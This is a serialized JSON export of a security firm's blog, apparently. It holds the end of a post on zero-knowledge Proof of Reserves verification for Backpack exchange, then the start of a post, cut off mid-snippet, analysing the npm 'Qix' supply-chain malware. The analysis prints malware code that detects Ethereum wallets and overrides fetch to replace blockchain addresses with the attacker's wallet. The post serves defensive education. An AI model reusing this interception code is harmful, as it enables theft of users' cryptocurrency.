smaller",{"type":29,"value":41},{"type":24,"tag":85,"props":103572,"children":103574},{"id":103573},"verifying",[103575],{"type":29,"value":103576},"Verifying",{"type":24,"tag":25,"props":103578,"children":103579},{},[103580],{"type":24,"tag":213,"props":103581,"children":103582},{},[103583],{"type":29,"value":103584},"Global Proof",{"type":24,"tag":25,"props":103586,"children":103587},{},[103588,103590,103595,103596,103601],{"type":29,"value":103589},"To verify the global proof, the code deserializes the ",{"type":24,"tag":135,"props":103591,"children":103593},{"className":103592},[],[103594],{"type":29,"value":103530},{"type":29,"value":45218},{"type":24,"tag":135,"props":103597,"children":103599},{"className":103598},[],[103600],{"type":29,"value":103537},{"type":29,"value":103602}," files and performs these checks:",{"type":24,"tag":3834,"props":103604,"children":103605},{},[103606,103611,103616,103621,103647],{"type":24,"tag":101,"props":103607,"children":103608},{},[103609],{"type":29,"value":103610},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":24,"tag":101,"props":103612,"children":103613},{},[103614],{"type":29,"value":103615},"Verify the ZK final proof.",{"type":24,"tag":101,"props":103617,"children":103618},{},[103619],{"type":29,"value":103620},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":24,"tag":101,"props":103622,"children":103623},{},[103624,103626,103632,103634,103639,103640,103645],{"type":29,"value":103625},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":24,"tag":135,"props":103627,"children":103629},{"className":103628},[],[103630],{"type":29,"value":103631},"merkle_tree_hash",{"type":29,"value":103633}," public input. This ensures that the ",{"type":24,"tag":135,"props":103635,"children":103637},{"className":103636},[],[103638],{"type":29,"value":103530},{"type":29,"value":518},{"type":24,"tag":135,"props":103641,"children":103643},{"className":103642},[],[103644],{"type":29,"value":103537},{"type":29,"value":103646}," are linked (they belong to the same global proof).",{"type":24,"tag":101,"props":103648,"children":103649},{},[103650],{"type":29,"value":103651},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":24,"tag":25,"props":103653,"children":103654},{},[103655],{"type":24,"tag":213,"props":103656,"children":103657},{},[103658],{"type":29,"value":103659},"Inclusion Proof",{"type":24,"tag":25,"props":103661,"children":103662},{},[103663,103665,103670,103672,103677],{"type":29,"value":103664},"To verify the inclusion proof, the code deserializes the ",{"type":24,"tag":135,"props":103666,"children":103668},{"className":103667},[],[103669],{"type":29,"value":103562},{"type":29,"value":103671}," file and also the ",{"type":24,"tag":135,"props":103673,"children":103675},{"className":103674},[],[103676],{"type":29,"value":103537},{"type":29,"value":103678},". After that, it performs these checks:",{"type":24,"tag":3834,"props":103680,"children":103681},{},[103682,103686,103691,103696],{"type":24,"tag":101,"props":103683,"children":103684},{},[103685],{"type":29,"value":103615},{"type":24,"tag":101,"props":103687,"children":103688},{},[103689],{"type":29,"value":103690},"Verify if the Merkle tree root is the same as in the final proof.",{"type":24,"tag":101,"props":103692,"children":103693},{},[103694],{"type":29,"value":103695},"Recalculate the user-related node leaf hash.",{"type":24,"tag":101,"props":103697,"children":103698},{},[103699],{"type":29,"value":103700},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":24,"tag":62,"props":103702,"children":103704},{"id":103703},"por-verifier-server",[103705],{"type":29,"value":103706},"PoR Verifier Server",{"type":24,"tag":25,"props":103708,"children":103709},{},[103710,103712,103718],{"type":29,"value":103711},"To automate the verification process, we created a ",{"type":24,"tag":32,"props":103713,"children":103715},{"href":99348,"rel":103714},[36],[103716],{"type":29,"value":103717},"verifier server",{"type":29,"value":103719}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":24,"tag":25,"props":103721,"children":103722},{},[103723],{"type":29,"value":103724},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":24,"tag":25,"props":103726,"children":103727},{},[103728],{"type":24,"tag":74,"props":103729,"children":103731},{"alt":76,"src":103730},"/posts/por/backpack-por.png",[],{"type":24,"tag":25,"props":103733,"children":103734},{},[103735],{"type":29,"value":103736},"Here is a breakdown of what fields represent and why they are required:",{"type":24,"tag":97,"props":103738,"children":103739},{},[103740,103750,103760,103770,103780,103790],{"type":24,"tag":101,"props":103741,"children":103742},{},[103743,103748],{"type":24,"tag":213,"props":103744,"children":103745},{},[103746],{"type":29,"value":103747},"Status",{"type":29,"value":103749}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":24,"tag":101,"props":103751,"children":103752},{},[103753,103758],{"type":24,"tag":213,"props":103754,"children":103755},{},[103756],{"type":29,"value":103757},"Proof Timestamp",{"type":29,"value":103759}," --> when the proof was generated by the exchange.",{"type":24,"tag":101,"props":103761,"children":103762},{},[103763,103768],{"type":24,"tag":213,"props":103764,"children":103765},{},[103766],{"type":29,"value":103767},"Verify Timestamp",{"type":29,"value":103769}," --> when the proof was verified by the PoR server.",{"type":24,"tag":101,"props":103771,"children":103772},{},[103773,103778],{"type":24,"tag":213,"props":103774,"children":103775},{},[103776],{"type":29,"value":103777},"Proof File URL",{"type":29,"value":103779}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":24,"tag":101,"props":103781,"children":103782},{},[103783,103788],{"type":24,"tag":213,"props":103784,"children":103785},{},[103786],{"type":29,"value":103787},"Prover Version",{"type":29,"value":103789}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":24,"tag":101,"props":103791,"children":103792},{},[103793,103798],{"type":24,"tag":213,"props":103794,"children":103795},{},[103796],{"type":29,"value":103797},"File Hash (SHA256)",{"type":29,"value":103799}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":24,"tag":25,"props":103801,"children":103802},{},[103803],{"type":29,"value":103804},"Also, you can check the exchange's liabilities on the website:",{"type":24,"tag":25,"props":103806,"children":103807},{},[103808],{"type":24,"tag":74,"props":103809,"children":103811},{"alt":76,"src":103810},"/posts/por/backpack-por-liabilities.png",[],{"type":24,"tag":25,"props":103813,"children":103814},{},[103815,103817,103823,103825,103831],{"type":29,"value":103816},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":24,"tag":32,"props":103818,"children":103821},{"href":103819,"rel":103820},"https://backpack.exchange/reserves",[36],[103822],{"type":29,"value":103819},{"type":29,"value":103824}," and our verifier server for backpack at ",{"type":24,"tag":32,"props":103826,"children":103829},{"href":103827,"rel":103828},"https://backpack-por.osec.io/",[36],[103830],{"type":29,"value":103827},{"type":29,"value":41},{"type":24,"tag":62,"props":103833,"children":103835},{"id":103834},"self-verification",[103836],{"type":29,"value":103837},"Self-verification",{"type":24,"tag":25,"props":103839,"children":103840},{},[103841],{"type":29,"value":103842},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":24,"tag":85,"props":103844,"children":103846},{"id":103845},"how-to-verify-if-i-was-included",[103847],{"type":29,"value":103848},"How to verify if I was included?",{"type":24,"tag":25,"props":103850,"children":103851},{},[103852],{"type":29,"value":103853},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":24,"tag":3834,"props":103855,"children":103856},{},[103857,103868,103886],{"type":24,"tag":101,"props":103858,"children":103859},{},[103860,103867],{"type":24,"tag":32,"props":103861,"children":103864},{"href":103862,"rel":103863},"https://github.com/otter-sec/por_v2/releases",[36],[103865],{"type":29,"value":103866},"Download the PoRv2 executable from our github",{"type":29,"value":41},{"type":24,"tag":101,"props":103869,"children":103870},{},[103871,103873,103878,103879,103884],{"type":29,"value":103872},"Download the inclusion and the final proof files from the exchange (",{"type":24,"tag":135,"props":103874,"children":103876},{"className":103875},[],[103877],{"type":29,"value":103562},{"type":29,"value":518},{"type":24,"tag":135,"props":103880,"children":103882},{"className":103881},[],[103883],{"type":29,"value":103537},{"type":29,"value":103885},") and put the files in the same directory as the PoRv2 app.",{"type":24,"tag":101,"props":103887,"children":103888},{},[103889,103891,103897],{"type":29,"value":103890},"Open the terminal and execute this: ",{"type":24,"tag":135,"props":103892,"children":103894},{"className":103893},[],[103895],{"type":29,"value":103896},"./plonky2_por verify-inclusion",{"type":29,"value":41},{"type":24,"tag":25,"props":103899,"children":103900},{},[103901],{"type":29,"value":103902},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":24,"tag":261,"props":103904,"children":103906},{"code":103905},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[103907],{"type":24,"tag":135,"props":103908,"children":103909},{"__ignoreMap":7},[103910],{"type":29,"value":103905},{"type":24,"tag":85,"props":103912,"children":103914},{"id":103913},"how-can-i-verify-the-global-proof",[103915],{"type":29,"value":103916},"How can I verify the global proof?",{"type":24,"tag":25,"props":103918,"children":103919},{},[103920],{"type":29,"value":103921},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":24,"tag":3834,"props":103923,"children":103924},{},[103925,103934,103952],{"type":24,"tag":101,"props":103926,"children":103927},{},[103928,103933],{"type":24,"tag":32,"props":103929,"children":103931},{"href":103862,"rel":103930},[36],[103932],{"type":29,"value":103866},{"type":29,"value":41},{"type":24,"tag":101,"props":103935,"children":103936},{},[103937,103939,103944,103945,103950],{"type":29,"value":103938},"Download the ",{"type":24,"tag":135,"props":103940,"children":103942},{"className":103941},[],[103943],{"type":29,"value":103530},{"type":29,"value":45218},{"type":24,"tag":135,"props":103946,"children":103948},{"className":103947},[],[103949],{"type":29,"value":103537},{"type":29,"value":103951}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":24,"tag":101,"props":103953,"children":103954},{},[103955,103957,103962],{"type":29,"value":103956},"Open the terminal and execute ",{"type":24,"tag":135,"props":103958,"children":103960},{"className":103959},[],[103961],{"type":29,"value":103896},{"type":29,"value":103963},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":24,"tag":25,"props":103965,"children":103966},{},[103967],{"type":29,"value":103968},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":24,"tag":261,"props":103970,"children":103972},{"code":103971},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[103973],{"type":24,"tag":135,"props":103974,"children":103975},{"__ignoreMap":7},[103976],{"type":29,"value":103971},{"type":24,"tag":25,"props":103978,"children":103979},{},[103980],{"type":29,"value":103981},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":24,"tag":261,"props":103983,"children":103985},{"code":103984},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[103986],{"type":24,"tag":135,"props":103987,"children":103988},{"__ignoreMap":7},[103989],{"type":29,"value":103984},{"type":24,"tag":62,"props":103991,"children":103992},{"id":10547},[103993],{"type":29,"value":10550},{"type":24,"tag":25,"props":103995,"children":103996},{},[103997],{"type":29,"value":103998},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":24,"tag":25,"props":104000,"children":104001},{},[104002,104004,104010],{"type":29,"value":104003},"We are currently working with Backpack to implement this algorithm ",{"type":24,"tag":32,"props":104005,"children":104007},{"href":103819,"rel":104006},[36],[104008],{"type":29,"value":104009},"in production",{"type":29,"value":104011}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":24,"tag":25,"props":104013,"children":104014},{},[104015,104017,104024],{"type":29,"value":104016},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":24,"tag":32,"props":104018,"children":104021},{"href":104019,"rel":104020},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[36],[104022],{"type":29,"value":104023},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":29,"value":41},{"title":7,"searchDepth":284,"depth":284,"links":104026},[104027,104028,104029,104030,104033,104038,104042,104043,104047],{"id":99276,"depth":284,"text":99279},{"id":99357,"depth":284,"text":99360},{"id":99427,"depth":284,"text":99430},{"id":99481,"depth":284,"text":99484,"children":104031},[104032],{"id":99560,"depth":294,"text":99563},{"id":99648,"depth":284,"text":99651,"children":104034},[104035,104036,104037],{"id":99721,"depth":294,"text":99724},{"id":100193,"depth":294,"text":100196},{"id":101932,"depth":294,"text":101935},{"id":103511,"depth":284,"text":103514,"children":104039},[104040,104041],{"id":16989,"depth":294,"text":103519},{"id":103573,"depth":294,"text":103576},{"id":103703,"depth":284,"text":103706},{"id":103834,"depth":284,"text":103837,"children":104044},[104045,104046],{"id":103845,"depth":294,"text":103848},{"id":103913,"depth":294,"text":103916},{"id":10547,"depth":284,"text":10550},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":104052,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":104053,"description":104054,"date":104055,"author":38875,"image":104056,"isFeatured":16,"onBlogPage":16,"tags":104059,"body":104062,"_type":10599,"_id":106488,"_source":10601,"_file":106489,"_stem":106490,"_extension":10604},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":104057,"width":104058,"height":21324},"/posts/supply-chain-attcks/title.png",1536,[104060,104061],"npm","supply-chain",{"type":21,"children":104063,"toc":106471},[104064,104077,104082,104087,104093,104098,104106,104436,104444,105007,105015,105722,105728,105733,105739,105744,105749,105755,105760,105772,105777,105803,105890,105902,105927,105943,105948,105953,106159,106201,106206,106218,106224,106236,106278,106291,106371,106383,106396,106403,106414,106422,106428,106441,106446,106450,106455,106467],{"type":24,"tag":25,"props":104065,"children":104066},{},[104067,104069,104075],{"type":29,"value":104068},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":24,"tag":135,"props":104070,"children":104072},{"className":104071},[],[104073],{"type":29,"value":104074},"chalk",{"type":29,"value":104076},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":24,"tag":25,"props":104078,"children":104079},{},[104080],{"type":29,"value":104081},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":24,"tag":25,"props":104083,"children":104084},{},[104085],{"type":29,"value":104086},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":24,"tag":62,"props":104088,"children":104090},{"id":104089},"qix-malware-how-it-worked",[104091],{"type":29,"value":104092},"Qix Malware: How It Worked",{"type":24,"tag":25,"props":104094,"children":104095},{},[104096],{"type":29,"value":104097},"The attacker published modified versions of packages with code designed to do three things:",{"type":24,"tag":3834,"props":104099,"children":104100},{},[104101],{"type":24,"tag":101,"props":104102,"children":104103},{},[104104],{"type":29,"value":104105},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":24,"tag":261,"props":104107,"children":104109},{"code":104108,"language":39040,"meta":7,"className":39038,"style":7},"async function checkethereumw() {\n try {\n const _0x124ed3 = await window.ethereum.request({\n 'method': \"eth_accounts\"\n });\n if (_0x124ed3.length > 0) {\n runmask();\n if (rund != 1) {\n rund = 1;\n neth = 1;\n newdlocal();\n }\n } else if (rund != 1) {\n rund = 1;\n newdlocal();\n }\n }\n}\n",[104110],{"type":24,"tag":135,"props":104111,"children":104112},{"__ignoreMap":7},[104113,104133,104145,104189,104206,104213,104249,104261,104289,104309,104329,104341,104348,104383,104403,104415,104422,104429],{"type":24,"tag":271,"props":104114,"children":104115},{"class":273,"line":274},[104116,104120,104124,104129],{"type":24,"tag":271,"props":104117,"children":104118},{"style":278},[104119],{"type":29,"value":43813},{"type":24,"tag":271,"props":104121,"children":104122},{"style":278},[104123],{"type":29,"value":45882},{"type":24,"tag":271,"props":104125,"children":104126},{"style":598},[104127],{"type":29,"value":104128}," checkethereumw",{"type":24,"tag":271,"props":104130,"children":104131},{"style":288},[104132],{"type":29,"value":23434},{"type":24,"tag":271,"props":104134,"children":104135},{"class":273,"line":284},[104136,104141],{"type":24,"tag":271,"props":104137,"children":104138},{"style":749},[104139],{"type":29,"value":104140}," try",{"type":24,"tag":271,"props":104142,"children":104143},{"style":288},[104144],{"type":29,"value":7145},{"type":24,"tag":271,"props":104146,"children":104147},{"class":273,"line":294},[104148,104152,104157,104161,104165,104169,104173,104177,104181,104185],{"type":24,"tag":271,"props":104149,"children":104150},{"style":278},[104151],{"type":29,"value":1246},{"type":24,"tag":271,"props":104153,"children":104154},{"style":630},[104155],{"type":29,"value":104156}," _0x124ed3",{"type":24,"tag":271,"props":104158,"children":104159},{"style":624},[104160],{"type":29,"value":1712},{"type":24,"tag":271,"props":104162,"children":104163},{"style":749},[104164],{"type":29,"value":43879},{"type":24,"tag":271,"props":104166,"children":104167},{"style":630},[104168],{"type":29,"value":39082},{"type":24,"tag":271,"props":104170,"children":104171},{"style":288},[104172],{"type":29,"value":41},{"type":24,"tag":271,"props":104174,"children":104175},{"style":630},[104176],{"type":29,"value":39091},{"type":24,"tag":271,"props":104178,"children":104179},{"style":288},[104180],{"type":29,"value":41},{"type":24,"tag":271,"props":104182,"children":104183},{"style":598},[104184],{"type":29,"value":39167},{"type":24,"tag":271,"props":104186,"children":104187},{"style":288},[104188],{"type":29,"value":22837},{"type":24,"tag":271,"props":104190,"children":104191},{"class":273,"line":303},[104192,104197,104201],{"type":24,"tag":271,"props":104193,"children":104194},{"style":378},[104195],{"type":29,"value":104196}," 'method'",{"type":24,"tag":271,"props":104198,"children":104199},{"style":630},[104200],{"type":29,"value":12210},{"type":24,"tag":271,"props":104202,"children":104203},{"style":378},[104204],{"type":29,"value":104205}," \"eth_accounts\"\n",{"type":24,"tag":271,"props":104207,"children":104208},{"class":273,"line":312},[104209],{"type":24,"tag":271,"props":104210,"children":104211},{"style":288},[104212],{"type":29,"value":39927},{"type":24,"tag":271,"props":104214,"children":104215},{"class":273,"line":321},[104216,104220,104224,104229,104233,104237,104241,104245],{"type":24,"tag":271,"props":104217,"children":104218},{"style":749},[104219],{"type":29,"value":5025},{"type":24,"tag":271,"props":104221,"children":104222},{"style":288},[104223],{"type":29,"value":1357},{"type":24,"tag":271,"props":104225,"children":104226},{"style":630},[104227],{"type":29,"value":104228},"_0x124ed3",{"type":24,"tag":271,"props":104230,"children":104231},{"style":288},[104232],{"type":29,"value":41},{"type":24,"tag":271,"props":104234,"children":104235},{"style":630},[104236],{"type":29,"value":16219},{"type":24,"tag":271,"props":104238,"children":104239},{"style":624},[104240],{"type":29,"value":21892},{"type":24,"tag":271,"props":104242,"children":104243},{"style":477},[104244],{"type":29,"value":767},{"type":24,"tag":271,"props":104246,"children":104247},{"style":288},[104248],{"type":29,"value":919},{"type":24,"tag":271,"props":104250,"children":104251},{"class":273,"line":330},[104252,104257],{"type":24,"tag":271,"props":104253,"children":104254},{"style":598},[104255],{"type":29,"value":104256}," runmask",{"type":24,"tag":271,"props":104258,"children":104259},{"style":288},[104260],{"type":29,"value":4230},{"type":24,"tag":271,"props":104262,"children":104263},{"class":273,"line":339},[104264,104268,104272,104277,104281,104285],{"type":24,"tag":271,"props":104265,"children":104266},{"style":749},[104267],{"type":29,"value":46954},{"type":24,"tag":271,"props":104269,"children":104270},{"style":288},[104271],{"type":29,"value":1357},{"type":24,"tag":271,"props":104273,"children":104274},{"style":630},[104275],{"type":29,"value":104276},"rund",{"type":24,"tag":271,"props":104278,"children":104279},{"style":624},[104280],{"type":29,"value":71173},{"type":24,"tag":271,"props":104282,"children":104283},{"style":477},[104284],{"type":29,"value":824},{"type":24,"tag":271,"props":104286,"children":104287},{"style":288},[104288],{"type":29,"value":919},{"type":24,"tag":271,"props":104290,"children":104291},{"class":273,"line":347},[104292,104297,104301,104305],{"type":24,"tag":271,"props":104293,"children":104294},{"style":630},[104295],{"type":29,"value":104296}," rund",{"type":24,"tag":271,"props":104298,"children":104299},{"style":624},[104300],{"type":29,"value":1712},{"type":24,"tag":271,"props":104302,"children":104303},{"style":477},[104304],{"type":29,"value":824},{"type":24,"tag":271,"props":104306,"children":104307},{"style":288},[104308],{"type":29,"value":1069},{"type":24,"tag":271,"props":104310,"children":104311},{"class":273,"line":356},[104312,104317,104321,104325],{"type":24,"tag":271,"props":104313,"children":104314},{"style":630},[104315],{"type":29,"value":104316}," neth",{"type":24,"tag":271,"props":104318,"children":104319},{"style":624},[104320],{"type":29,"value":1712},{"type":24,"tag":271,"props":104322,"children":104323},{"style":477},[104324],{"type":29,"value":824},{"type":24,"tag":271,"props":104326,"children":104327},{"style":288},[104328],{"type":29,"value":1069},{"type":24,"tag":271,"props":104330,"children":104331},{"class":273,"line":365},[104332,104337],{"type":24,"tag":271,"props":104333,"children":104334},{"style":598},[104335],{"type":29,"value":104336}," newdlocal",{"type":24,"tag":271,"props":104338,"children":104339},{"style":288},[104340],{"type":29,"value":4230},{"type":24,"tag":271,"props":104342,"children":104343},{"class":273,"line":374},[104344],{"type":24,"tag":271,"props":104345,"children":104346},{"style":288},[104347],{"type":29,"value":20365},{"type":24,"tag":271,"props":104349,"children":104350},{"class":273,"line":384},[104351,104355,104359,104363,104367,104371,104375,104379],{"type":24,"tag":271,"props":104352,"children":104353},{"style":288},[104354],{"type":29,"value":23476},{"type":24,"tag":271,"props":104356,"children":104357},{"style":749},[104358],{"type":29,"value":11044},{"type":24,"tag":271,"props":104360,"children":104361},{"style":749},[104362],{"type":29,"value":1352},{"type":24,"tag":271,"props":104364,"children":104365},{"style":288},[104366],{"type":29,"value":1357},{"type":24,"tag":271,"props":104368,"children":104369},{"style":630},[104370],{"type":29,"value":104276},{"type":24,"tag":271,"props":104372,"children":104373},{"style":624},[104374],{"type":29,"value":71173},{"type":24,"tag":271,"props":104376,"children":104377},{"style":477},[104378],{"type":29,"value":824},{"type":24,"tag":271,"props":104380,"children":104381},{"style":288},[104382],{"type":29,"value":919},{"type":24,"tag":271,"props":104384,"children":104385},{"class":273,"line":393},[104386,104391,104395,104399],{"type":24,"tag":271,"props":104387,"children":104388},{"style":630},[104389],{"type":29,"value":104390}," rund",{"type":24,"tag":271,"props":104392,"children":104393},{"style":624},[104394],{"type":29,"value":1712},{"type":24,"tag":271,"props":104396,"children":104397},{"style":477},[104398],{"type":29,"value":824},{"type":24,"tag":271,"props":104400,"children":104401},{"style":288},[104402],{"type":29,"value":1069},{"type":24,"tag":271,"props":104404,"children":104405},{"class":273,"line":402},[104406,104411],{"type":24,"tag":271,"props":104407,"children":104408},{"style":598},[104409],{"type":29,"value":104410}," newdlocal",{"type":24,"tag":271,"props":104412,"children":104413},{"style":288},[104414],{"type":29,"value":4230},{"type":24,"tag":271,"props":104416,"children":104417},{"class":273,"line":411},[104418],{"type":24,"tag":271,"props":104419,"children":104420},{"style":288},[104421],{"type":29,"value":4385},{"type":24,"tag":271,"props":104423,"children":104424},{"class":273,"line":420},[104425],{"type":24,"tag":271,"props":104426,"children":104427},{"style":288},[104428],{"type":29,"value":13588},{"type":24,"tag":271,"props":104430,"children":104431},{"class":273,"line":429},[104432],{"type":24,"tag":271,"props":104433,"children":104434},{"style":288},[104435],{"type":29,"value":1171},{"type":24,"tag":3834,"props":104437,"children":104438},{"start":284},[104439],{"type":24,"tag":101,"props":104440,"children":104441},{},[104442],{"type":29,"value":104443},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":24,"tag":261,"props":104445,"children":104447},{"code":104446,"language":39040,"meta":7,"className":39038,"style":7},"fetch = async function (...args) {\n const originalResponse = await originalFetch.call(this, ...args);\n const contentType = originalResponse.headers.get('Content-Type') || '';\n let data;\n if (contentType.includes('application/json')) {\n data = await originalResponse.clone().json();\n } else {\n data = await originalResponse.clone().text();\n }\n const processedData = replaceAddresses(data);\n const finalResponseText =\n typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n const finalResponse = new Response(finalResponseText, {\n status: originalResponse.status,\n statusText: originalResponse.statusText,\n headers: originalResponse.headers,\n });\n return finalResponse;\n};\n",[104448],{"type":24,"tag":135,"props":104449,"children":104450},{"__ignoreMap":7},[104451,104486,104543,104605,104620,104657,104696,104711,104750,104757,104790,104806,104865,104903,104928,104953,104977,104985,105000],{"type":24,"tag":271,"props":104452,"children":104453},{"class":273,"line":274},[104454,104458,104462,104466,104470,104474,104478,104482],{"type":24,"tag":271,"props":104455,"children":104456},{"style":598},[104457],{"type":29,"value":41763},{"type":24,"tag":271,"props":104459,"children":104460},{"style":624},[104461],{"type":29,"value":1712},{"type":24,"tag":271,"props":104463,"children":104464},{"style":278},[104465],{"type":29,"value":44033},{"type":24,"tag":271,"props":104467,"children":104468},{"style":278},[104469],{"type":29,"value":45882},{"type":24,"tag":271,"props":104471,"children":104472},{"style":288},[104473],{"type":29,"value":1357},{"type":24,"tag":271,"props":104475,"children":104476},{"style":624},[104477],{"type":29,"value":17298},{"type":24,"tag":271,"props":104479,"children":104480},{"style":630},[104481],{"type":29,"value":45896},{"type":24,"tag":271,"props":104483,"children":104484},{"style":288},[104485],{"type":29,"value":919},{"type":24,"tag":271,"props":104487,"children":104488},{"class":273,"line":284},[104489,104493,104498,104502,104506,104511,104515,104519,104523,104527,104531,104535,104539],{"type":24,"tag":271,"props":104490,"children":104491},{"style":278},[104492],{"type":29,"value":43856},{"type":24,"tag":271,"props":104494,"children":104495},{"style":630},[104496],{"type":29,"value":104497}," originalResponse",{"type":24,"tag":271,"props":104499,"children":104500},{"style":624},[104501],{"type":29,"value":1712},{"type":24,"tag":271,"props":104503,"children":104504},{"style":749},[104505],{"type":29,"value":43879},{"type":24,"tag":271,"props":104507,"children":104508},{"style":630},[104509],{"type":29,"value":104510}," originalFetch",{"type":24,"tag":271,"props":104512,"children":104513},{"style":288},[104514],{"type":29,"value":41},{"type":24,"tag":271,"props":104516,"children":104517},{"style":598},[104518],{"type":29,"value":45964},{"type":24,"tag":271,"props":104520,"children":104521},{"style":288},[104522],{"type":29,"value":606},{"type":24,"tag":271,"props":104524,"children":104525},{"style":278},[104526],{"type":29,"value":25385},{"type":24,"tag":271,"props":104528,"children":104529},{"style":288},[104530],{"type":29,"value":158},{"type":24,"tag":271,"props":104532,"children":104533},{"style":624},[104534],{"type":29,"value":17298},{"type":24,"tag":271,"props":104536,"children":104537},{"style":630},[104538],{"type":29,"value":45896},{"type":24,"tag":271,"props":104540,"children":104541},{"style":288},[104542],{"type":29,"value":1155},{"type":24,"tag":271,"props":104544,"children":104545},{"class":273,"line":294},[104546,104550,104555,104559,104563,104567,104572,104576,104580,104584,104589,104593,104597,104601],{"type":24,"tag":271,"props":104547,"children":104548},{"style":278},[104549],{"type":29,"value":43856},{"type":24,"tag":271,"props":104551,"children":104552},{"s